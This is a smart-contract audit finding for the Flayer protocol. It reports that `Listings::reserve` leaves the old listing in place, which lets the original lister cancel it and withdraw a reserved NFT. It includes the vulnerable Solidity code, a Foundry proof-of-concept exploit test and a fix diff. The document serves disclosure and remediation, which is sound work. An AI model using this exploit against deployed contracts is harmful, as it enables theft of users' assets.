Hidden Oily Stork

High

# Failure to Delete Old Listings in `Listings::reserve` Allows Unauthorized Withdrawal of Reserved Items

### Summary

The `Listings::reserve` function enables users to reserve items in the pool by providing collateral and paying an interest rate. Ideally, reserved items should only be accessible for withdrawal by the reserver, except when the protected listing is canceled.

However, a critical vulnerability exists when the item being reserved is part of a liquid or Dutch listing. The current implementation of the `reserve` function fails to delete the old listing after creating the new protected listing. This oversight allows the owner of the outdated liquid or Dutch listing to cancel their old listing and withdraw the reserved token. Consequently, the owner of the protected listing is left without the reserved token and is burdened with interest payments for an item they no longer possess.

```solidity
   function reserve(address _collection, uint _tokenId, uint _collateral) public nonReentrant lockerNotPaused {
        // Read the existing listing in a single read
        Listing memory oldListing = _listings[_collection][_tokenId];

        // Ensure the caller is not the owner of the listing
        if (oldListing.owner == msg.sender) revert CallerIsAlreadyOwner();

        // Ensure that the existing listing is available
        (bool isAvailable, uint listingPrice) = getListingPrice(_collection, _tokenId);
        if (!isAvailable) revert ListingNotAvailable();

        // Find the underlying {CollectionToken} attached to our collection
        ICollectionToken collectionToken = locker.collectionToken(_collection);

        // Check if the listing is a floor item and process additional logic if there
        // was an owner (meaning it was not floor, so liquid or dutch).
        if (oldListing.owner != address(0)) {
            // We can process a tax refund for the existing listing if it isn't a liquidation
            if (!_isLiquidation[_collection][_tokenId]) {
                (uint _fees,) = _resolveListingTax(oldListing, _collection, true);
                if (_fees != 0) {
                    emit ListingFeeCaptured(_collection, _tokenId, _fees);
                }
            }

            // If the floor multiple of the original listings is different, then this needs
            // to be paid to the original owner of the listing.
            uint listingFloorPrice = 1 ether * 10 ** collectionToken.denomination();
            if (listingPrice > listingFloorPrice) {
                unchecked {
                    collectionToken.transferFrom(msg.sender, oldListing.owner, listingPrice - listingFloorPrice);
                }
            }

            // Reduce the amount of listings
            unchecked { listingCount[_collection] -= 1; }

// @> Failing to delete the old listing
// @> delete _listings[_collection][_tokenId];
        }

        // Burn the tokens that the user provided as collateral, as we will have it minted
        // from {ProtectedListings}.
        collectionToken.burnFrom(msg.sender, _collateral * 10 ** collectionToken.denomination());

        // We can now pull in the tokens from the Locker
        locker.withdrawToken(_collection, _tokenId, address(this));
        IERC721(_collection).approve(address(protectedListings), _tokenId);

        // Create a protected listing, taking only the tokens
        uint[] memory tokenIds = new uint[](1);
        tokenIds[0] = _tokenId;
        IProtectedListings.CreateListing[] memory createProtectedListing = new IProtectedListings.CreateListing[](1);
        createProtectedListing[0] = IProtectedListings.CreateListing({
            collection: _collection,
            tokenIds: tokenIds,
            listing: IProtectedListings.ProtectedListing({
                owner: payable(address(this)),
                tokenTaken: uint96(1 ether - _collateral),
                checkpoint: 0 // Set in the `createListings` call
            })
        });

        // Create our listing, receiving the ERC20 into this contract
        protectedListings.createListings(createProtectedListing);

        // We should now have received the non-collateral assets, which we will burn in
        // addition to the amount that the user sent us.
        collectionToken.burn((1 ether - _collateral) * 10 ** collectionToken.denomination());

        // We can now transfer ownership of the listing to the user reserving it
        protectedListings.transferOwnership(_collection, _tokenId, payable(msg.sender));
    }
```

### Root Cause

In https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L725 the old listing is not deleted.

### Internal pre-conditions

1. `user1` creates a liquid or Dutch listing for `tokenId`.
2. `user2` creates a protected listing for `tokenId` by invoking the `Listings::reserve` function.


### External pre-conditions

_No response_

### Attack Path

1. `user1` then cancels the original listing by calling `Listings::cancelListings` and successfully withdraws `tokenId`.

### Impact

The owner of the protected listing is left without the reserved token and is burdened with interest payments for an item they no longer possess.

### PoC

Add the following test to `/test/Listings.t.sol`:

In this test, we begin with a `_owner` user who creates a liquid listing for `_tokenId`. Next, a `_relister` user creates a protected listing to secure `_tokenId`. Finally, the `_owner` cancels the original liquid listing and successfully withdraws the `_tokenId`.

```solidity
    function test_UnauthorizedWithdrawalOfProtectedListing(address payable _owner, address payable _relister, uint _tokenId, uint16 _floorMultiple) public {
        //------------------------------------//
        // _owner creates a liquid listing
        //------------------------------------//

        // Set up protected listings
        listings.setProtectedListings(address(protectedListings));

        // Ensure that we don't get a token ID conflict
        _assumeValidTokenId(_tokenId);

        // Ensure that we don't set a zero address _owner/_relister and they are not the same
        _assumeValidAddress(_owner);
        _assumeValidAddress(_relister);
        vm.assume(_owner != _relister);

        // Ensure that our multiplier is above 1.00
        _assumeRealisticFloorMultiple(_floorMultiple);

        // Mint our token to the _owner and approve the {Listings} contract to use it
        erc721a.mint(_owner, _tokenId);

        vm.startPrank(_owner);
        erc721a.approve(address(listings), _tokenId);

        Listings.Listing memory listing = IListings.Listing({
            owner: _owner,
            created: uint40(block.timestamp),
            duration: VALID_LIQUID_DURATION,
            floorMultiple: _floorMultiple
        });

        // Get our required tax for the listing
        uint requiredTax = taxCalculator.calculateTax(address(erc721a), _floorMultiple, VALID_LIQUID_DURATION);

        // Confirm that our expected event it emitted
        vm.expectEmit();
        emit Listings.ListingsCreated(address(erc721a), _tokenIdToArray(_tokenId), listing, listings.getListingType(listing), 1 ether - requiredTax, requiredTax, _owner);

        // Create our listing
        _createListing({
            _listing: IListings.CreateListing({
                collection: address(erc721a),
                tokenIds: _tokenIdToArray(_tokenId),
                listing: listing
            })
        });
        vm.stopPrank();

        // Confirm that the {Locker} now holds the expected token
        assertEq(erc721a.ownerOf(_tokenId), address(locker));

        // Confirm that the listing was created with the correct data
        IListings.Listing memory _listing = listings.listings(address(erc721a), _tokenId);

        assertEq(_listing.owner, _owner);
        assertEq(_listing.created, uint40(block.timestamp));
        assertEq(_listing.duration, VALID_LIQUID_DURATION);
        assertEq(_listing.floorMultiple, _floorMultiple);

        // Confirm that the user has received their ERC20 token, minus the required tax payment
        assertEq(locker.collectionToken(address(erc721a)).balanceOf(_owner), 1 ether - requiredTax);

        //------------------------------------//
        // _relister reserves the token
        //------------------------------------//

        vm.startPrank(_relister);

        // Provide our relister with sufficient, approved ERC20 tokens to make the reserve
        uint startBalance = 10 ether;
        ICollectionToken token = locker.collectionToken(address(erc721a));
        deal(address(token), _relister, startBalance);
        token.approve(address(listings), startBalance);

        // Reserve our liquid listing item
        listings.reserve({
            _collection: address(erc721a),
            _tokenId: _tokenId,
            _collateral: 0.3 ether
        });

        vm.stopPrank();

        // Confirm that the protected listing has been created with the expected details
        IProtectedListings.ProtectedListing memory _pListing = protectedListings.listings(address(erc721a), _tokenId);

        assertEq(_pListing.owner, _relister);
        assertEq(_pListing.tokenTaken, 0.7 ether);

        // Verify that the old liquid listing data hasn't been removed
        IListings.Listing memory _oldListing = listings.listings(address(erc721a), _tokenId);

        assertEq(_oldListing.owner, _owner);
        assertEq(_oldListing.created, uint40(block.timestamp));
        assertEq(_oldListing.duration, VALID_LIQUID_DURATION);
        assertEq(_oldListing.floorMultiple, _floorMultiple);

        //---------------------------------------------------------------//
        // _owner cancels liquid listing and withdraws the reserved token
        //---------------------------------------------------------------//

        vm.startPrank(_owner);

        // Approve the ERC20 token to be used by the listings contract to cancel the listing
        token.approve(address(listings), 10 ether);
        deal(address(token), _owner, 10 ether);

        // Confirm that the expected event is fired
        vm.expectEmit();
        emit Listings.ListingsCancelled(address(erc721a), _tokenIdToArray(_tokenId));

        // Cancel the listing
        listings.cancelListings(address(erc721a), _tokenIdToArray(_tokenId), false);

        vm.stopPrank();

        // Confirm that the token has been returned to the original owner
        assertEq(erc721a.ownerOf(_tokenId), _owner);

    }
```

### Mitigation

Delete the old listing before creating the protected listing

```diff
   function reserve(address _collection, uint _tokenId, uint _collateral) public nonReentrant lockerNotPaused {
        // Read the existing listing in a single read
        Listing memory oldListing = _listings[_collection][_tokenId];

        // Ensure the caller is not the owner of the listing
        if (oldListing.owner == msg.sender) revert CallerIsAlreadyOwner();

        // Ensure that the existing listing is available
        (bool isAvailable, uint listingPrice) = getListingPrice(_collection, _tokenId);
        if (!isAvailable) revert ListingNotAvailable();

        // Find the underlying {CollectionToken} attached to our collection
        ICollectionToken collectionToken = locker.collectionToken(_collection);

        // Check if the listing is a floor item and process additional logic if there
        // was an owner (meaning it was not floor, so liquid or dutch).
        if (oldListing.owner != address(0)) {
            // We can process a tax refund for the existing listing if it isn't a liquidation
            if (!_isLiquidation[_collection][_tokenId]) {
                (uint _fees,) = _resolveListingTax(oldListing, _collection, true);
                if (_fees != 0) {
                    emit ListingFeeCaptured(_collection, _tokenId, _fees);
                }
            }

            // If the floor multiple of the original listings is different, then this needs
            // to be paid to the original owner of the listing.
            uint listingFloorPrice = 1 ether * 10 ** collectionToken.denomination();
            if (listingPrice > listingFloorPrice) {
                unchecked {
                    collectionToken.transferFrom(msg.sender, oldListing.owner, listingPrice - listingFloorPrice);
                }
            }

            // Reduce the amount of listings
            unchecked { listingCount[_collection] -= 1; }

+          delete _listings[_collection][_tokenId];
        }

        // Burn the tokens that the user provided as collateral, as we will have it minted
        // from {ProtectedListings}.
        collectionToken.burnFrom(msg.sender, _collateral * 10 ** collectionToken.denomination());

        // We can now pull in the tokens from the Locker
        locker.withdrawToken(_collection, _tokenId, address(this));
        IERC721(_collection).approve(address(protectedListings), _tokenId);

        // Create a protected listing, taking only the tokens
        uint[] memory tokenIds = new uint[](1);
        tokenIds[0] = _tokenId;
        IProtectedListings.CreateListing[] memory createProtectedListing = new IProtectedListings.CreateListing[](1);
        createProtectedListing[0] = IProtectedListings.CreateListing({
            collection: _collection,
            tokenIds: tokenIds,
            listing: IProtectedListings.ProtectedListing({
                owner: payable(address(this)),
                tokenTaken: uint96(1 ether - _collateral),
                checkpoint: 0 // Set in the `createListings` call
            })
        });

        // Create our listing, receiving the ERC20 into this contract
        protectedListings.createListings(createProtectedListing);

        // We should now have received the non-collateral assets, which we will burn in
        // addition to the amount that the user sent us.
        collectionToken.burn((1 ether - _collateral) * 10 ** collectionToken.denomination());

        // We can now transfer ownership of the listing to the user reserving it
        protectedListings.transferOwnership(_collection, _tokenId, payable(msg.sender));
    }
```